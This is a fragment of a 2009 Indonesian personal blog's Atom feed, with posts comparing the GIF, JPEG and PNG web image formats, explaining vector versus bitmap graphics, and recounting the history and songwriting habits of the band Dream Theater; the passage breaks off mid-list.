href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1867540329780795573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1867540329780795573'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kebudayaan.html' title='Kebudayaan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-4866783033497306936</id><published>2009-09-18T15:39:00.001+07:00</published><updated>2009-09-18T15:39:58.118+07:00</updated><title type='text'>GIF, JPEG atau PNG ?!</title><content type='html'>&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span style="font-weight: bold;"&gt;Gambar&lt;/span&gt; merupakan salah satu unsur penting dalam web. Penggunaan gambar dapat mempermudah pengunjung sebuah situs dalam membayangkan sebuah deskripsi yang panjang lebar, selain itu tentu saja penggunaan gambar membuat situs kita jadi lebih menarik dan kelihatan dinamis. Namun kadang kala penggunaan gambar yang tidak tepat atau berlebihan, malah membuat situs kita menjadi lama dibuka.&lt;/span&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;Penggunaan gambar yang tepat, menjadikan web kita lebih terlihat elegan dan menarik. Lalu apakah menggunakan gambar yang tepat adalah harus dengan ukuran file yang sekecil mungkin?jawabannya adalah Ya. Tapi bukan hanya itu tentu saja faktornya, yang lebih utama juga adalah kenampakan gambar secara sempurna. Lalu format mana yang terbaik untuk gambar dalam sebuah web, GIF,JPEG atau PNG? Kalau ini jawabannya tentu bergantung pada kebutuhan gambar kita.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Kali ini saya mencoba membagi ilmu yang saya dapat tentang beberapa format gambar tersebut, supaya kita bisa memilih format mana yang paling tepat untuk gambar kita. Tentu saja dengan bahasa yang sederhana.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. GIF (Graphic Interchange Format)&lt;/b&gt;&lt;br /&gt;GIF adalah salah satu format yang sangat bagus untuk penggunaan gambar -gambar utama dalam web. GIF mendukung komposisi 256 warna,dan merupakan satu-satunya format gambar yang bisa anda jadikan animasi. Salah satu keunggulannya juga GIF merupakan gambar yang lossless compression, artinya GIF mendukung kompresi data tanpa membuat gambar menjadi rusak. Tapi ini hanya jika komposisi warna kurang dari 257, dan tidak ada gradien. Selain itu GIF juga mendukung transparansi pada gambar, sehingga anda bisa membuat warna latar yang berbeda beda dibelakang gambar tersebut.&lt;br /&gt;Secara umum, GIF biasa digunakan untuk logo, gambar yang berbasis garis (line drawing),text, ataupun icon. Sangat tidak disarankan untuk digunakan pada gambar fotografik. Selain itu hindari penggunaan gradien dan efek-efek lain seperti emboss pada format ini.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. JPEG (Joint Photographic Experts Group)&lt;/b&gt;&lt;br /&gt;JPEG atau JPG mendukung gambar full color (24 bit “True Color”), yang diperkirakan lebih dari 16,7 juta komposisi warna. Berbeda dengan GIF, JPEG adalah gambar yang lossy compression, ketika dikompresi maka gambar akan berubah kualitasnya. JPEG tidak cocok untuk digunakan pada gambar gambar yang berbasis garis (line drawing) dan memiliki komposisi warna dibawah 256.&lt;br /&gt;JPEG sangat sempurna untuk digunakan pada gambar gambar yang bersifat fotografik, penuh dengan warna dan juga gambar dengan efek-efek yang biasa digunakan dalam manipulasi gambar.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. PNG (Portable Network Graphics)&lt;/b&gt;&lt;br /&gt;PNG adalah salah satu format gambar yang paling baru. dia seperti gabungan antara GIF dan JPEG, sehingga terlihat powerfull. PNG mendukung komposisi warna penuh (full color) (24 bit ‘true color’) seperti layaknya JPEG, walaupun gambar yang dihasilkan filenya akan berukuran lebih besar dari JPEG. Dan juga mendukung Transparansi gambar. serta lossles compression.&lt;br /&gt;PNG biasa digunakan dalam web untuk gambar gambar transparansi. Tetapi tentu saja karena dia masih baru, sehingga tidak didukung oleh browser - browser lama. Tapi siapa juga yang masih pake browser lama kan?? Yah update dunk..&lt;br /&gt;&lt;br /&gt;Dihampir semua format diatas sekarang sudah mendukung interlaced atau progressive JPEG (untuk JPEG). Dengan kedua fitur ini web akan memuat gambar dengan resolusi kecil dulu pada saat pengunjung pertama kali membuka sebuah situs, hingga nanti semua proses pemuatan (loading) selesai, barulah gambar terlihat sempurna.&lt;br /&gt;&lt;br /&gt;So, sudah ada sedikit pencerahan? Nah, yang penting gunakanlah gambar dalam situs anda secara tepat. Tepat guna, Tepat format, dan Tepat ukuran. Seperti yang biasa saya katakan, gak usah lebay dengan menaruh banyak gambar dan animasi yang tidak penting di web anda, karena cuma bikin berat aja. Kecuali memang itu web berbasis gambar, seperti foto hosting, portfolio, dsb.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Semoga berguna bagi kita semua yach.. ^^&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-4866783033497306936?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/4866783033497306936/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/gif-jpeg-atau-png.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4866783033497306936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4866783033497306936'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/gif-jpeg-atau-png.html' title='GIF, JPEG atau PNG ?!'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-6396449688686067082</id><published>2009-09-18T15:35:00.000+07:00</published><updated>2009-09-18T15:36:08.826+07:00</updated><title type='text'>Vektor?!Bitmap?!</title><content type='html'>&lt;span style="font-family: arial;"&gt;Semua gambar atau image terdiri dari dua jenis, yaitu VECTOR dan BITMAP.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Pernah dengar bitmap? Pernah dengar vektor?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Bagi orang awam mungkin hal ini asing di talinga meraka.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Namun, bagi desainer grafis, ato operator grafis, ato mereka yang terlibat dengan pengolahan image, istilah ini mungkin akrab bagi mereka.. Dan bagi desainer grafis istilah ini memang wajib untuk mereka ketahui!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Gambar vektor adalah gambar yang terbuat dari rumus.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Ingat pelajaran SMP tentang vektor? Jika ada 2 titik yang disambungkan,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;tercipta garis. Ditambah satu titik lagi, dan dihubungkan, jadilah satu bidang.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Gambar vektor terdiri dari gambar2 dan titik2 seperti rumus matematika.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Gambar bitmap terdiri dari titik-titik warna, dan ketajamannya ditentukan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;oleh kerapatan titik2 ini, disebut resolusi gambar. Seperti pada layar monitor&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;atau TV (dan juga hasil cetak offset), satu bidang warna dihasilkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;dari 3 atau 4 titik warna.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Warna pada layar TV dan monitor jika diperbesar, kita akan lihat kotak2 warna. Demikian pula jika kita zoom sebuah image dengan extremely zooming! maka akan kita dapati gambar kotak2 warna.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;kesimpulan :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;karena terbentuk dari perhitungan matematis, vector tidak akan terpengaruh meskipun diperbesar hingga 30 kali lipat (bahkan lebih). dan ini sangat menguntungkan dalam dunia percetakan.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Berbeda dengan vector, karena bitmap tersusun dari susunan pixel2 makan dia kan menjadi jaggy / berundak2 begitu kita perbesar melebihi kemampuan resolusinya&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-6396449688686067082?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/6396449688686067082/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/vektorbitmap.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6396449688686067082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6396449688686067082'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/vektorbitmap.html' title='Vektor?!Bitmap?!'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-6614827572385613637</id><published>2009-09-12T18:50:00.000+07:00</published><updated>2009-09-12T18:53:12.884+07:00</updated><title type='text'>Dream Theatre, ayo kita lihat . . .</title><content type='html'>&lt;span style="font-size:100%;color:#000000;"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;b&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/b&gt;&lt;span style="color:#663333;"&gt; adalah salah satu grup &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Progressive metal" href="http://id.wikipedia.org/wiki/Progressive_metal"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;progressive metal&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; paling terkemuka di dunia saat ini. Didirikan oleh &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Mike Portnoy" href="http://id.wikipedia.org/wiki/Mike_Portnoy"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Mike Portnoy&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="John Petrucci" href="http://id.wikipedia.org/wiki/John_Petrucci"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;John Petrucci&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; dan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="John Myung" href="http://id.wikipedia.org/wiki/John_Myung"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;John Myung&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, mereka telah merilis delapan album studio, empat rekaman live dan satu album pendek (&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="mw-redirect" title="EP" href="http://id.wikipedia.org/wiki/EP"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;EP&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;). Album pertama mereka, &lt;i&gt;When Dream And Day Unite&lt;/i&gt; direkam dengan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Charlie Dominici" href="http://id.wikipedia.org/wiki/Charlie_Dominici"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Charlie Dominici&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; sebagai vokalis dan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Kevin Moore" href="http://id.wikipedia.org/wiki/Kevin_Moore"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Kevin Moore&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; sebagai pemain keyboards. Dominici berusia jauh lebih tua daripada anggota lainnya dan ingin memainkan musik yang lain, sehingga ia kemudian keluar dari grup. Mereka kemudian mencari pengganti yang ideal selama 2 tahun sampai akhirnya bertemu dengan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="James LaBrie" href="http://id.wikipedia.org/wiki/James_LaBrie"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;James LaBrie&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, vokalis dari &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Kanada" href="http://id.wikipedia.org/wiki/Kanada"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Kanada&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; melalui audisi.&lt;/span&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Bersama LaBrie mereka merekam &lt;i&gt;&lt;a title="Images And Words" href="http://id.wikipedia.org/wiki/Images_And_Words"&gt;&lt;span style="color:#663333;"&gt;Images And Words&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;span style="color:#663333;"&gt; &lt;/span&gt;yang melambungkan nama mereka ke jajaran internasional dengan hit "Pull Me Under" dan "Another Day". &lt;i&gt;Awake&lt;/i&gt; adalah album terakhir mereka dengan Moore yang kemudian digantikan oleh &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="new" title="Derek Sherinian (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Derek_Sherinian&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Derek Sherinian&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; untuk album &lt;i&gt;Falling Into Infinity&lt;/i&gt;. Pada akhirnya Sherinian juga digantikan oleh &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Jordan Rudess" href="http://id.wikipedia.org/wiki/Jordan_Rudess"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Jordan Rudess&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; dan formasi ini masih bertahan sampai hari ini. Mereka telah meluncurkan album konsep &lt;i&gt;Metropolis 2: Scenes From A Memory&lt;/i&gt; dan album ganda &lt;i&gt;Six Degrees Of Inner Turbulence&lt;/i&gt;. Pada tahun &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="2003" href="http://id.wikipedia.org/wiki/2003"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;2003&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; mereka memutuskan untuk merekam album non-konsep &lt;i&gt;Train Of Thought&lt;/i&gt; yang sangat dipengaruhi oleh grup &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Thrash metal" href="http://id.wikipedia.org/wiki/Thrash_metal"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;thrash metal&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; seperti &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Metallica" href="http://id.wikipedia.org/wiki/Metallica"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Metallica&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Album terbaru mereka yang berjudul &lt;i&gt;Octavarium&lt;/i&gt; dikeluarkan pada tanggal &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="7 Juni" href="http://id.wikipedia.org/wiki/7_Juni"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;7 Juni&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="2005" href="http://id.wikipedia.org/wiki/2005"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;2005&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; dan selain merupakan album studio kedelapan juga mengandung delapan lagu.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Setelah Dream Theater meluncurkan album Live mereka dalam memperingati 20 tahun Dream Theater terbentuk yang berjudul &lt;i&gt;Score&lt;/i&gt; yang direkam pada tanggal 1 April 2006 di Radio City Music Hall,US. Mereka kembali bersiap meluncurkan album ke sembilan mereka dengan membawa bendera label record baru yaitu &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="new" title="RoadRunner Records (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=RoadRunner_Records&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;RoadRunner Records&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, mereka telah merampungkan album &lt;i&gt;Systematic Chaos&lt;/i&gt; yang berisi 8 lagu dan akan diluncurkan pada tanggal 5 Juni 2007 di US.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;"&gt;&lt;span class="mw-headline"&gt;&lt;strong&gt;&lt;span style="color:#663333;"&gt;Sejarah&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Dream Theater dibentuk pada bulan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="September" href="http://id.wikipedia.org/wiki/September"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;September&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="1985" href="http://id.wikipedia.org/wiki/1985"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;1985&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, ketika &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Gitaris" href="http://id.wikipedia.org/wiki/Gitaris"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;gitaris&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; John Petrucci dan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Bassis" href="http://id.wikipedia.org/wiki/Bassis"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;bassis&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; John Myung memutuskan untuk membentuk sebuah band untuk mengisi waktu luang mereka ketika bersekolah di Berklee College of Music di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Boston" href="http://id.wikipedia.org/wiki/Boston"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Boston&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;. Mereka lalu bertemu seorang pemain drum, Mike Portnoy, di salah satu ruang latihan di Berklee, dan setelah dua hari negosiasi, mereka berhasil mengajak Mike Portnoy untuk bergabung. Setelah itu, mereka bertiga ingin mengisi dua tempat kosong di band tersebut, dan Petrucci bertanya kepada teman band, Kevin Moore, untuk menjadi pemain &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="mw-redirect" title="Keyboard" href="http://id.wikipedia.org/wiki/Keyboard"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;keyboard&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;. Dia setuju, dan ketika Chris Collins diajak untuk menjadi &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="mw-redirect" title="Vokalis" href="http://id.wikipedia.org/wiki/Vokalis"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;vokalis&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;, band tersebut sudah komplit.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Dengan lima anggota, mereka memutuskan untuk menamai band tersebut dengan nama Majesty. Menurut dokumentasi &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="DVD" href="http://id.wikipedia.org/wiki/DVD"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;DVD&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; Score, mereka berlima sedang mengantri tiket untuk konser &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Rush" href="http://id.wikipedia.org/wiki/Rush"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;Rush&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt; di Berklee Performance Center ketika mendengarkan Rush dengan boom box. Portnoy lalu berkata bahwa akhiran dari lagu tersebut (Bastille Day) terdengar sangat "majestic". Pada saat itulah mereka memutuskan Majesty adalah nama yang bagus untuk sebuah band, dan tetap bagus sampai sekarang.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Pada saat - saat tersebut, Portnoy, Petrucci dan Myung masih berkutat dengan kuliah mereka, juga dengan kerja paruh waktu dan mengajar. Jadwal mereka menjadi kiat ketat sehingga mereka harus memutuskan antara mengejar karir di bidang musik atau mengakhiri band Majesty. Namun akhirnya Majesty menang dan mereka bertiga keluar dari Berklee untuk berkonsentrasi di karir musik. Petrucci mengomentari tentang hal ini di dokumentasi DVD Score, berkata bahwa saat tersebut sangat susah untuk meminta kepada orang tuanya untuk pergi ke sekolah musik. Dan lebih susah lagi untuk menyakinkan orang tuanya agar ia boleh keluar dari sekolah.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Moore juga akhirnya keluar dari sekolahnya, SUNY Fredonia, untuk berkonsentrasi dengan band tersebut.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;"&gt;&lt;a id="Karakteristik_penulisan_lagu" name="Karakteristik_penulisan_lagu"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt; &lt;h2 align="justify"&gt;&lt;span style="font-size:100%;"&gt;&lt;span class="mw-headline"&gt;&lt;span style="color:#663333;"&gt;Karakteristik penulisan lagu&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Beberapa teknik penulisan lagu yang unik telah dilakukan oleh Dream Theater, yang kebanyakan terjadi di masa - masa sekarang, ketika mereka bisa bereksperimen dengan label rekaman mereka sendiri.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Dimulai dengan &lt;i&gt;Train of Thought&lt;/i&gt;, Dream Theater sudah memulai memasukkan elemen - elemen kecil dan tersembunyi di musik mereka, dan memuat elemen tersebut kepada peminat yang lebih fanatik. Karakteristik yang paling terkenal (yang biasa disebut "nugget") tersembunyi di &lt;i&gt;"In the Name of God"&lt;/i&gt;, yang merupakan sandi morse dari "eat my ass and balls" (makan pantatku dan penisku), yang merupakan kata - kata terkenal dari Mike Portnoy. Sejak saat itu, banyak peminat - peminat Dream Theater mulai berusaha menemukan hal - hal kecil yang biasanya tidak menarik bagi peminat biasa.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Beberapa dari teknik mereka yang terkenal termasuk:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Suara dari fonograf di akhiran dari "Finally Free" di album &lt;i&gt;Scenes from a Memory&lt;/i&gt; adalah suara yang sama di awalan "The Glass Prison" di album berikutnya, &lt;i&gt;Six Degrees of Inner Turbulence&lt;/i&gt;. Dan akhiran kunci terakhir di "As I Am" sama dengan kunci yang digunakan di album selanjutnya, &lt;i&gt;Train of Thought&lt;/i&gt;. Juga, not piano yang dimainkan di akhiran "In the Name of God" di '&lt;i&gt;Train of Thought&lt;/i&gt; adalah not yang sama dengan pembukaan "The Root of All Evil" di album berikutnya, &lt;i&gt;Octavarium&lt;/i&gt;. &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Tiga bagian dari "The Glass Prison" di &lt;i&gt;Six Degrees of Inner Turbulence&lt;/i&gt;, dua bagian dari "This Dying Soul" di &lt;i&gt;Train of Thought&lt;/i&gt; dan dua bagian dari "The Root of All Evil" di &lt;i&gt;Octavarium&lt;/i&gt; menunjukkan tujuh poin pertama dari dua belas poin - poin di program &lt;i&gt;Alcoholics Anonymous&lt;/i&gt; oleh Bill Wilson, yang mana program itu diikuti oleh Mike Portnoy. Ia juga berkata bahwa ia akan membuat lagu - lagu lain yang memuat lima program lainnya, yang akan ditujukan untuk Wilson &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Dream Theater kadang menggunakan teknik penulisan lagu dimana bagian - bagian dari sebuah lagu dikembangkan tiap kali mereka dimainkan. Contohnya, lagu "6:00" dari &lt;i&gt;Awake&lt;/i&gt;. Setelah awalan lagu, mereka hampir memainkan chorus, tapi mengulang lagu tersebut dari awalan lagi (di menit 1:33). Dan ketika chorus sudah seharusnya dimainkan pada saat berikutnya, mereka mengulang lagi dari awalan, di menit 2:11. Teknik ini bisa juga ditemukan di "Peruvian Skies", "Blind Faith" dan "Endless Sacrifice" &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Penggunaan notasi yang berulang - ulang juga digunakan, yang sudah dikenal dari lagu - lagu Charles Ives, contohnya: &lt;/span&gt;&lt;/div&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Tema lagu "Wait for Sleep" muncul di "Learning to Live" (menit 8:11) dan juga muncul dua kali di "Just Let Me Breath" (menit 3:39 dan 5:21) &lt;/span&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Tema lagu "Learning to Live" muncul di "Another Day" (menit 2:53) &lt;/span&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Tema lagu "Space-Dye Vest" digunakan 